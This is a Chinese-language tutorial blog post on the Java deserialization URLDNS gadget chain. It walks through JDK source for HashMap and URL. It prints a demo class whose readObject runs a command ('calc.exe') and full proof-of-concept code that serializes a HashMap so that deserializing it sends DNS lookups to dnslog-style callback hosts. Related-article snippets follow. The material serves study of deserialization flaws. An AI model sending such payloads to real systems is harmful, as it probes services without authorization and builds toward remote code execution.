java反序列化之URLDNS链学习

一、前言

近来学习java反序列化,听p神所说这个URLDNS利用链比较好理解,故决定由此进入学习的第一篇。

URLDNS是Java反序列化中比较简单的一个链,由于URLDNS不需要依赖第三方的包,同时不限制jdk的版本,所以通常用于检测反序列化的点

URLDNS并不能执行命令,只能发送DNS请求

二、前置介绍

1、Java 序列化是指把 Java 对象转换为字节序列的过程。

  • ObjectOutputStream类的 writeObject() 方法可以实现序列化。

2、Java 反序列化是指把字节序列恢复为 Java 对象的过程。

  • ObjectInputStream 类的 readObject() 方法用于反序列化。

实现java.io.Serializable接口才可被反序列化,而且所有属性必须是可序列化的
(用transient 关键字修饰的属性除外,不参与序列化过程)

代码演示说明:

  • Person.java (需要序列化的类)
package com.company;

import java.io.Serializable;

public class Person  implements Serializable {
    private String name;
    public void setName(String name){
        this.name= name;
    }

    public String getName(){
        return name;
    }

}
  • Main.java(序列化和反序列化)
package com.company;

import java.io.*;

public class Main {

    public static void main(String[] args) throws Exception{
        Person person  = new  Person();
        person.setName("serTest");

        byte[] serializeData = serialize(person);
        FileOutputStream outstr = new FileOutputStream("person.bin");
        outstr.write(serializeData);
        outstr.close();
        Person person2 = (Person) unserialize(serializeData);
        System.out.println(person2.getName());
    }

    public static byte[] serialize(final Object obj) throws Exception{
        ByteArrayOutputStream btout  = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object  unserialize(final byte[] serialized) throws Exception{
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

查看Person.bin文件:

根据序列化规范,aced代表java序列化数据的magic wordSTREAM_MAGIC,0005表示版本号STREAM_VERSION,73表示是一个对象TC_OBJECT,72表示这个对象的描述TC_CLASSDESC

3、Java中的反序列化readObject 支持 Override,如果开发者重写了这个readObject方法,Java在反序列化过程中会优先调用开发者重写的这个readObject方法,通常在利用中我们需要找一个落脚点也就是gadget,利用这个落脚点来执行我们的恶意操作

readobject反序列化利用点 + 利用链 + RCE触发点

自定义 readObject()方法示例:

Evil.java

package com.company;

import java.io.Serializable;

public class Evil implements Serializable {
    public String cmd;

    private void readObject(java.io.ObjectInputStream stream) throws Exception{
        stream.defaultReadObject();
        Runtime.getRuntime().exec(cmd);
    }
}

Main.java

package com.company;

import java.io.*;

public class Main {

    public static void main(String[] args) throws Exception{
        Evil evil = new Evil();
        evil.cmd = "calc.exe";

        byte[] serializeData = serialize(evil);
        unserialize(serializeData);
    }

    public static byte[] serialize(final Object obj) throws Exception{
        ByteArrayOutputStream btout  = new ByteArrayOutputStream();
        ObjectOutputStream objOut = new ObjectOutputStream(btout);
        objOut.writeObject(obj);
        return btout.toByteArray();
    }

    public static Object  unserialize(final byte[] serialized) throws Exception{
        ByteArrayInputStream btin = new ByteArrayInputStream(serialized);
        ObjectInputStream objIn = new ObjectInputStream(btin);
        return objIn.readObject();
    }
}

三、URLDNS利用链(测试java版本:1.8.0_261)

URLDNS链是java原生态的一条利用链, 通常用于存在反序列化漏洞进行验证的,因为是原生态,不存在什么版本限制.
HashMap结合URL触发DNS检查的思路.在实际过程中可以首先通过这个去判断服务器是否使用了readObject()以及能否执行.之后再用各种gadget去尝试RCE.
HashMap最早出现在JDK 1.2中, 底层基于散列算法实现.而正是因为在HashMap中,Entry的存放位置是根据Key的Hash值来计算,然后存放到数组中的.所以对于同一个Key, 在不同的JVM实现中计算得出的Hash值可能是不同的.因此,HashMap实现了自己的writeObject和readObject方法。该利用链具有如下特点:

  • 不限制jdk版本,使用Java内置类,对第三方依赖没有要求
  • 目标无回显,可以通过DNS请求来验证是否存在反序列化漏洞
  • URLDNS利用链,只能发起DNS请求,并不能进行其他利用

ysoserial中列出的Gadget:GitHub - frohoff/ysoserial: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.

*   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()

URLDNS利用思路:

  1. 首先找到Sink:发起DNS请求的URL类hashCode方法

  2. 看谁能调用URL类的hashCode方法(找gadget),发现HashMap行(他重写了hashCode方法,执行了Map里面key的hashCode方法,HashMap而key的类型可以是URL类),而且HashMap的readObject方法直接调用了hashCode方法

  3. EXP的思路就是创建一个HashMap,往里面丢一个URL当key,然后序列化它

  4. 在反序列化的时候自然就会执行HashMap的readObject->hashCode->URL的hashCode->DNS请求

原理分析

java.util.HashMap 重写了 readObject, 在反序列化时会调用 hash 函数计算 key 的 hashCode.而 java.net.URL 的 hashCode 在计算时会调用 getHostAddress 来解析域名, 从而发出 DNS 请求.

HashMap#readObject

对于HashMap这个类来说,他重载了readObject函数,我们知道,而在服务端对序列化数据进行反序列化时,会调用被序列化对象的readObject()方法。跟进 查看一下readObject方法: 我们可以看到它重新计算了keyHash

private void readObject(java.io.ObjectInputStream s)
        throws IOException, ClassNotFoundException {// 读取传入的输入流,对传入的序列化数据进行反序列化
        // Read in the threshold (ignored), loadfactor, and any hidden stuff
        s.defaultReadObject();//调用 ObjectInputStream 的 defaultReadObject 方法,用于读取默认的序列化数据,包括阈值(忽略)、负载因子和其他隐藏信息。
        reinitialize();//重新初始化 HashMap,恢复到默认状态
        if (loadFactor <= 0 || Float.isNaN(loadFactor))
            throw new InvalidObjectException("Illegal load factor: " +
                                             loadFactor);
        s.readInt();                // 读取并忽略哈希表的桶的数量,这里是为了兼容不同版本的 HashMap。
        int mappings = s.readInt(); // 读取映射条目的数量(即 HashMap 的大小)
        if (mappings < 0)
            throw new InvalidObjectException("Illegal mappings count: " +
                                             mappings);
        else if (mappings > 0) { // (if zero, use defaults)
            // Size the table using given load factor only if within
            // range of 0.25...4.0
            //计算实际的负载因子,确保在0.25到4.0之间。
            float lf = Math.min(Math.max(0.25f, loadFactor), 4.0f);
            float fc = (float)mappings / lf + 1.0f;
            int cap = ((fc < DEFAULT_INITIAL_CAPACITY) ?
                       DEFAULT_INITIAL_CAPACITY :
                       (fc >= MAXIMUM_CAPACITY) ?
                       MAXIMUM_CAPACITY :
                       tableSizeFor((int)fc));
            float ft = (float)cap * lf;
            threshold = ((cap < MAXIMUM_CAPACITY && ft < MAXIMUM_CAPACITY) ?
                         (int)ft : Integer.MAX_VALUE);

            // Check Map.Entry[].class since it's the nearest public type to
            // what we're actually creating.
            SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, cap);//检查数组类型,确保能够正确创建 HashMap 中的数组
            @SuppressWarnings({"rawtypes","unchecked"})
            Node<K,V>[] tab = (Node<K,V>[])new Node[cap];
            table = tab;

            // Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);
            }
        }
    }

关注putVal方法,putVal是往HashMap中放入键值对的方法

    /**
     * Implements Map.put and related methods.
     *
     * @param hash hash for key
     * @param key the key
     * @param value the value to put
     * @param onlyIfAbsent if true, don't change existing value
     * @param evict if false, the table is in creation mode.
     * @return previous value, or null if none
     */
    final V putVal(int hash, K key, V value, boolean onlyIfAbsent,
                   boolean evict) {
        Node<K,V>[] tab; Node<K,V> p; int n, i;//声明了一些变量,用于存储哈希表的数组、节点、数组长度以及索引。
        if ((tab = table) == null || (n = tab.length) == 0)//检查哈希表数组是否为空,如果为空,则进行初始化
            n = (tab = resize()).length;
        if ((p = tab[i = (n - 1) & hash]) == null)//根据键的哈希值计算索引位置,然后判断该位置是否为空,如果为空,则直接在该位置插入新节点。
            tab[i] = newNode(hash, key, value, null);
        else {//如果该位置已经有节点,则需要进行链表遍历或树节点遍历,找到合适的位置插入节点。
            Node<K,V> e; K k;
            if (p.hash == hash &&
                ((k = p.key) == key || (key != null && key.equals(k))))
                e = p;
            else if (p instanceof TreeNode)
                e = ((TreeNode<K,V>)p).putTreeVal(this, tab, hash, key, value);
            else {
                for (int binCount = 0; ; ++binCount) {
                    if ((e = p.next) == null) {
                        p.next = newNode(hash, key, value, null);
                        if (binCount >= TREEIFY_THRESHOLD - 1) // -1 for 1st
                            treeifyBin(tab, hash);
                        break;
                    }
                    if (e.hash == hash &&
                        ((k = e.key) == key || (key != null && key.equals(k))))
                        break;
                    p = e;
                }
            }
            if (e != null) { // existing mapping for key如果找到了相同的键,则更新该键对应的值,并返回原来的值
                V oldValue = e.value;
                if (!onlyIfAbsent || oldValue == null)
                    e.value = value;
                afterNodeAccess(e);
                return oldValue;
            }
        }
        ++modCount;
        if (++size > threshold)
            resize();
        afterNodeInsertion(evict);
        return null;
    }

这里调用了hash方法来处理key,跟进hash方法:

   static final int hash(Object key) {
        int h;
        return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
    }

我们可以看到,它调用了key的hashcode函数,因此,如果要构造一条反序列化链条,我们需要找到实现了hashcode函数且传参可控的类; 而可以被我们利用的类就是下面的URLDNS,那么跟进到这个类的hashCode()方法看下

URL#hashCode

java.net.URL.hashCode()

java.net.URL

public synchronized int hashCode() {  // synchronized 关键字修饰的方法为同步方法。当synchronized方法执行完或发生异常时,会自动释放锁。
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

当hashCode字段等于-1时会进行handler.hashCode(this)计算,跟进handler发现,定义是

java.net.URL 

transient URLStreamHandler handler; // transient 关键字,修饰Java序列化对象时,不需要序列化的属性

找到URLStreamHandler这个抽象类,查看它的hashcode实现,调用了getHostAddress函数,传参可控

java.net.URLStreamHandler
    
protected int hashCode(URL u) {
        int h = 0;

        // Generate the protocol part.
        String protocol = u.getProtocol();
        if (protocol != null)
            h += protocol.hashCode();

        // Generate the host part.
        InetAddress addr = getHostAddress(u);
        if (addr != null) {
            h += addr.hashCode();
        } else {
            String host = u.getHost();
            if (host != null)
                h += host.toLowerCase().hashCode();
        }

        // Generate the file part.
        String file = u.getFile();
        if (file != null)
            h += file.hashCode();

        // Generate the port part.
        if (u.getPort() == -1)
            h += getDefaultPort();
        else
            h += u.getPort();

        // Generate the ref part.
        String ref = u.getRef();
        if (ref != null)
            h += ref.hashCode();

        return h;
    }

跟进 查看getHostAddress函数,u 是我们传入的url,在调用getHostAddress方法时,会进行dns查询。参数u是this 也就是URL类对象

java.net.URLStreamHandler   

protected synchronized InetAddress getHostAddress(URL u) {
        if (u.hostAddress != null)
            return u.hostAddress;

        String host = u.getHost();
        if (host == null || host.equals("")) {
            return null;
        } else {
            try {
                u.hostAddress = InetAddress.getByName(host);
            } catch (UnknownHostException ex) {
                return null;
            } catch (SecurityException se) {
                return null;
            }
        }
        return u.hostAddress;
    }

这是正面的分析,整个Gadget也比较清晰了

  1. HashMap->readObject()
  2. HashMap->hash()
  3. URL->hashCode()
  4. URLStreamHandler->hashCode()
  5. URLStreamHandler->getHostAddress()
  6. InetAddress.getByName()

利用(触发)

接上面,回到最开始的Hashmap#readObject方法

java.util.hashMap  

// Read the keys and values, and put the mappings in the HashMap
            for (int i = 0; i < mappings; i++) {
                @SuppressWarnings("unchecked")
                    K key = (K) s.readObject();
                @SuppressWarnings("unchecked")
                    V value = (V) s.readObject();
                putVal(hash(key), key, value, false, false);

key 是从K key = (K) s.readObject(); 这段代码,也是就是readObject中得到的,说明之前在writeObject会写入key

java.util.hashMap      

private void writeObject(java.io.ObjectOutputStream s)
        throws IOException {
        int buckets = capacity();
        // Write out the threshold, loadfactor, and any hidden stuff
        s.defaultWriteObject();
        s.writeInt(buckets);
        s.writeInt(size);
        internalWriteEntries(s);
    }

最后调用了internalWriteEntries 方法,跟进一下具体实现:

  java.util.hashMap  

  // Called only from writeObject, to ensure compatible ordering.
    void internalWriteEntries(java.io.ObjectOutputStream s) throws IOException {
        Node<K,V>[] tab;
        if (size > 0 && (tab = table) != null) {
            for (int i = 0; i < tab.length; ++i) {
                for (Node<K,V> e = tab[i]; e != null; e = e.next) {
                    s.writeObject(e.key);
                    s.writeObject(e.value);
                }
            }
        }
    }

这里的key以及value是从tab中取的,而tab的值为HashMap类中table的值。

HashMap 中table的定义

java.util.hashMap    
/**
     * The table, initialized on first use, and resized as
     * necessary. When allocated, length is always a power of two.
     * (We also tolerate length zero in some operations to allow
     * bootstrapping mechanics that are currently not needed.)
     */
//* 该表在第一次使用时初始化,并调整大小为必要的。 分配时,长度始终是 2 的幂。(在某些操作中我们还允许长度为零,以允许 目前不需要的引导机制。)
    transient Node<K,V>[] table;

想要修改table的值,就需要调用HashMap#put方法,而HashMap#put方法中也会对key调用一次hash方法,所以在这里就会产生第一次dns查询:

java.util.hashMap  

public V put(K key, V value) {
        return putVal(hash(key), key, value, false, true);
    }

ps:

HashMapput 方法会改变 table 的值是因为它用于向哈希表中添加新的键值对。当调用 put 方法时,如果哈希表中已经存在相同的键,则会更新对应键的值;如果哈希表中不存在相同的键,则会添加新的键值对。

put 方法中,首先会根据键的哈希值计算出在数组中的索引位置,然后根据索引位置找到对应的存储桶。如果存储桶为空,表示该位置还没有键值对,直接将新的键值对插入其中即可;如果存储桶不为空,则需要遍历存储桶中的键值对,查找是否已经存在相同的键。如果存在相同的键,则更新对应的值;如果不存在相同的键,则将新的键值对插入到存储桶的末尾。

这个过程中涉及到对数组中存储桶的访问和修改,因此 put 方法会改变 table 的值。通过改变 table 中对应索引位置的存储桶,实现了对键值对的插入或更新操作。

 

为了避免这一次的dns查询(防止本机与目标机器发送的dns请求混淆),ysoserial 中使用SilentURLStreamHandler 方法,直接返回null,并不会像URLStreamHandler那样去调用一系列方法最终到getByName,因此也就不会触发dns查询了

static class SilentURLStreamHandler extends URLStreamHandler {

                protected URLConnection openConnection(URL u) throws IOException {
                        return null;
                }

                protected synchronized InetAddress getHostAddress(URL u) {
                        return null;
                }
        }

除了这种方法还可以在本地生成payload时,将hashCode设置不为-1的其他值。

URL#hashCode

java.net.URL

public synchronized int hashCode() {
        if (hashCode != -1)
            return hashCode;

        hashCode = handler.hashCode(this);
        return hashCode;
    }

如果不为-1,那么直接返回了。也就不会进行handler.hashCode(this);这一步计算hashcode,也就没有之后的getByName,获取dns查询

java.net.URL
/**
     * The URLStreamHandler for this URL.
     */
    transient URLStreamHandler handler;

    /* Our hash code.
     * @serial
     */
    private int hashCode = -1;

而hashCode是通过private关键字进行修饰的(本类中可使用),可以通过反射来修改hashCode的值

package demo;

import java.lang.reflect.Field;
import java.util.HashMap;
import java.net.URL;

public class Main {
    public static void main(String[] args) throws Exception {
        HashMap map = new HashMap();
        URL url = new URL("http://7gjq24.dnslog.cn");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode"); // 反射获取URL类中的hashCode
        f.setAccessible(true); // 绕过Java语言权限控制检查的权限
        f.set(url,123);
        System.out.println(url.hashCode());
        map.put(url,123); // 调用HashMap对象中的put方法,此时因为hashcode不为-1,不再触发dns查询

    }

}

整个Gadget可以实现,需要的条件说白了就是这个:

那个key,即URL类的对象的hashCode属性值为-1

考虑到最开始调用put(),虽然没有触发URLDNS,但是同样调用了hash(),导致了传入的URL类对象的哈希值被计算了一次,hashCode不再是-1了,因此还需要再修改它的hashCode属性。但是注意这个属性是private

    private int hashCode = -1;

因此只能用反射:

        //Reflection
        Class clazz = Class.forName("java.net.URL");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u,-1);

完整的利用poc如下:

package com.company;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class testdemo {
    public static void main(String[] args) throws Exception{
        HashMap map = new HashMap();
        URL url = new URL("http://12345.40f400e994.ipv6.1433.eu.org.");
        Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url,123);
        System.out.println(url.hashCode());
        map.put(url,123);
        f.set(url,-1);

        try{
            FileOutputStream  fos = new FileOutputStream("urldns.ser");
            ObjectOutputStream oos = new ObjectOutputStream(fos);

            oos.writeObject(map);
            oos.close();
            fos.close();

            FileInputStream fis = new FileInputStream("urldns.ser");
            ObjectInputStream ois = new ObjectInputStream(fis);
            ois.readObject();
            ois.close();
            fis.close();
        }catch(Exception e){
            e.printStackTrace();

        }

    }
}

使用ysoserial的poc:

package com.company;

import java.io.*;
import java.lang.reflect.Field;
import java.net.InetAddress;
import java.net.URL;
import java.net.URLConnection;
import java.net.URLStreamHandler;
import java.util.HashMap;

public class URLDNS {
    public static void main(String[] args) throws Exception {
        HashMap  ht = new HashMap();
        String url = "http://ttttt.9ea296042a.ipv6.1433.eu.org.";
        URLStreamHandler handler = new TestURLStreamHandler();
        URL u = new URL(null, url, handler);
        ht.put(u,url);

        //Reflection
        Class clazz = Class.forName("java.net.URL");
        Field field = clazz.getDeclaredField("hashCode");
        field.setAccessible(true);
        field.set(u,-1);

        byte[] bytes = serialize(ht);
        unserialize(bytes);
    }

    public static byte[] serialize(Object o) throws Exception{
        ByteArrayOutputStream bout = new ByteArrayOutputStream();
        ObjectOutputStream oout = new ObjectOutputStream(bout);
        oout.writeObject(o);
        byte[] bytes = bout.toByteArray();
        oout.close();
        bout.close();
        return bytes;
    }

    public static Object unserialize(byte[] bytes) throws Exception{
        ByteArrayInputStream bin = new ByteArrayInputStream(bytes);
        ObjectInputStream oin = new ObjectInputStream(bin);
        return oin.readObject();
    }
}

class TestURLStreamHandler extends URLStreamHandler{
    @Override
    protected URLConnection openConnection(URL u) throws IOException {
        return null;
    }
    @Override
    protected synchronized InetAddress getHostAddress(URL u){
        return null;
    }
}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mfbz.cn/a/574325.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

hertzbeat 源码阅读记录

关于自定义标签的说明 EmailValid.java HostValid PhoneNumValid 枚举值说明&#xff1a;

【OpenGL实践08】现代渲染管线在GLUT和Pygame和Qt.QOpenGLWidget上各自的实现代码

Qt.QOpenGLWidget进行现代渲染管线实验效果 一、说明 据说QOpenGLWidget是用来取代QGLWidget的继承者&#xff0c;我们试图将GLUT上的旧代码改成QOpenGLWidget&#xff0c;本以为差别不大&#xff0c;轻易搞定&#xff0c;经实践发现要付出极大努力才能完成。经多次实验发现G…

Java面试八股之Java中为什么没有全局变量

Java中为什么没有全局变量 Java中没有传统意义上的全局变量&#xff0c;这是因为Java语言设计遵循面向对象的原则&#xff0c;强调封装性和模块化&#xff0c;以及避免全局状态带来的副作用。 封装性&#xff1a; 全局变量违反了面向对象编程中的封装原则&#xff0c;即隐藏对…

【ZYNQ】zynq启动模式及程序固化

一、前言 由于zynq含有arm cpu ,其启动模式由ps主导&#xff0c;与纯逻辑的fpga不相同&#xff0c;此处做一个记录。 二、zynq启动模式 关于zynq的启动模式详细内容可以参考官方文档&#xff1a;ug585-Zynq 7000 SoC Technical Reference Manual&#xff0c;第六章。 2.1 启…

帮助中心系统搭建不再是难题,这几个工具来帮你

在面临客户服务挑战时&#xff0c;有效的帮助中心系统是提升用户满意度和解决问题效率的关键。幸运的是&#xff0c;搭建一个功能全面的帮助中心不再是什么难事。下面&#xff0c;我要为你介绍三款能够帮忙打造帮助中心的超实用工具&#xff0c;让你的客户支持体验迅速升级。 1…

网页使用之如何返回json/xml

后端返回json数据给前端进行渲染的方式比较熟悉&#xff0c;至于返回html页面&#xff0c;返回xml的方式接触逐渐减少&#xff0c;来在项目中熟悉这一点。 返回文本数据 json姿势的返回实属最简单的方式&#xff0c;在SpringBoot应用中&#xff0c;有两种简单的方式 1.直接在…

S32K的JLINK与PE接线方法与刷程序失败问题

S32K的JLINK与PE接线方法与刷程序失败问题 1、PE的接线方法2、JLINK的接线方法3、刷程序失败问题 1、PE的接线方法 2、JLINK的接线方法 3、刷程序失败问题 出现如下问题&#xff1a; Secure Debug might be enabled on this device.lf so.please unlock the device via PEmic…

一段音频驱动照片唱歌,EMO模型上线通义APP

把一段音频、一张照片输入AI模型&#xff0c;就能让图中人物开口唱歌说话&#xff0c;让奥黛丽赫本唱《上春山》、陶俑仕女说英文RAP、爱因斯坦说中文段子。不久前&#xff0c;这款名为EMO的模型因为阿里通义实验室的一篇论文火遍海内外&#xff0c;模型的产品化进程也广受关注…

运动耳机哪个牌子性价比高?推荐五款高性价比运动耳机

跑步、健身、游泳……无论你的运动喜好是什么&#xff0c;一款好的运动蓝牙耳机都能为你的运动体验加分。然而&#xff0c;市面上的运动蓝牙耳机品牌众多&#xff0c;如何选择一款既舒适又实用的产品呢&#xff1f;本文将为你提供一些选购运动蓝牙耳机建议&#xff0c;并为你推…

企业规模扩大,SD-WAN实现跨省快速组网

随着数字化时代的飞速发展&#xff0c;企业面临着前所未有的挑战与机遇。5G、VoIP、AI和物联网等新技术的兴起&#xff0c;不仅改变了商业格局&#xff0c;也对企业网络提出了更高的要求。随着企业规模的不断扩大&#xff0c;企业如何搭建跨省的、高性能、超融合、简化运维的组…

解决Jmeter 4.x 请求到elasticsearch 中文乱码的问题

文章目录 前言解决Jmeter 4.x 请求到elasticsearch 中文乱码的问题 前言 如果您觉得有用的话&#xff0c;记得给博主点个赞&#xff0c;评论&#xff0c;收藏一键三连啊&#xff0c;写作不易啊^ _ ^。   而且听说点赞的人每天的运气都不会太差&#xff0c;实在白嫖的话&#…

MOS产品在光伏逆变器上的应用与数据分析

2023年全球光伏装机量表现优异&#xff0c;根据BloombergNEF统计数据&#xff0c;2023年全球光伏新增装机量444GW&#xff0c;同比增长76.2%&#xff0c;其中约一半新增装机量来自中国。 中国光伏新技术迭代不断&#xff0c;产业链降本增效加速。根据CPIA数据&#xff0c;2022年…

Linux网络-DNS域名解析服务

目录 一.DNS相关介绍 1.DNS是什么 2.DNS系统的分布式数据结构 根域 顶级域 二级域 子域 主机 3.服务器类型 主域名服务器 从域名服务器 缓存域名服务器 转发域名服务器 二.DNS域名解析 1.DNS域名解析方式及功能 2.DNS域名解析查询方式 2.1.递归查询&#xff0…

【LLM多模态】Qwen-VL模型结构和训练流程

note 观点&#xff1a;现有很多多模态大模型是基于预训练&#xff08;和SFT对齐&#xff09;的语言模型&#xff0c;将视觉特征token化并对齐到语言空间中&#xff0c;利用语言模型得到多模态LLM的输出。如何设计更好的图像tokenizer以及定位语言模型在多模态LLM中的作用很重要…

零基础HTML教程(27)--表单元素属性

文章目录 1. 背景2. disabled:禁用3. readonly:直读4. checked:选中5. maxlength:最大输入字符数6. 小结 1. 背景 上一篇我们讲了表单元素的两个属性id和name&#xff0c;其实表单元素还有其他几个常用属性&#xff0c;我们逐一介绍。 2. disabled:禁用 disabled属性表示禁用…

大厂面试题:从源码的角度分析MyBatis中#{}与${}的区别

大家好&#xff0c;我是王有志。 今天我会通过源码来分析一道京东&#xff0c;联储证券和爱奇艺都考察过的 MyBatis 面试题&#xff1a;MyBatis 中“#{}”和“${}”有什么区别&#xff1f;是否可以使用“#{}”来传递 order by 的动态列&#xff1f; “#{}”和“${}”有什么区…

【Linux】网络与守护进程

欢迎来到Cefler的博客&#x1f601; &#x1f54c;博客主页&#xff1a;折纸花满衣 &#x1f3e0;个人专栏&#xff1a;题目解析 &#x1f30e;推荐文章&#xff1a;进程状态、类型、优先级、命令行参数概念、环境变量(重要)、程序地址空间 目录 &#x1f449;&#x1f3fb;守护…

Netty 进阶

文章目录 1. 粘包与半包1.1 粘包现象1.2 半包现象1.3 现象分析1.4 解决方案1) 方法1&#xff0c;短链接2) 方法2&#xff0c;固定长度3) 方法3&#xff0c;固定分隔符4) 方法4&#xff0c;预设长度 2. 协议设计与解析2.1 为什么需要协议&#xff1f;2.2 redis 协议举例2.3 http…

【小白版】最简单的 goland 自定义package 教程

正文 直奔主题&#xff0c;针对小白无法正确使用自定义的package包进行讲解。 在自己的go项目下执行 mod go mod init 项目名创建mod。mod是go管理依赖包的工具&#xff0c;类似Java的pom文件调整goland的配置&#xff0c;具体操作步骤如下面视频 通过视频可以看到原先报红的…

【分配】linear_sum_assignment函数

every blog every motto: You can do more than you think. https://blog.csdn.net/weixin_39190382?typeblog 0. 前言 分配问题小结&#xff0c; linear_sum_assignment 函数使用的是Jonker-Volgenant algorithm算法 1. 分配问题 有工人和相应的工作&#xff0c;每个工作…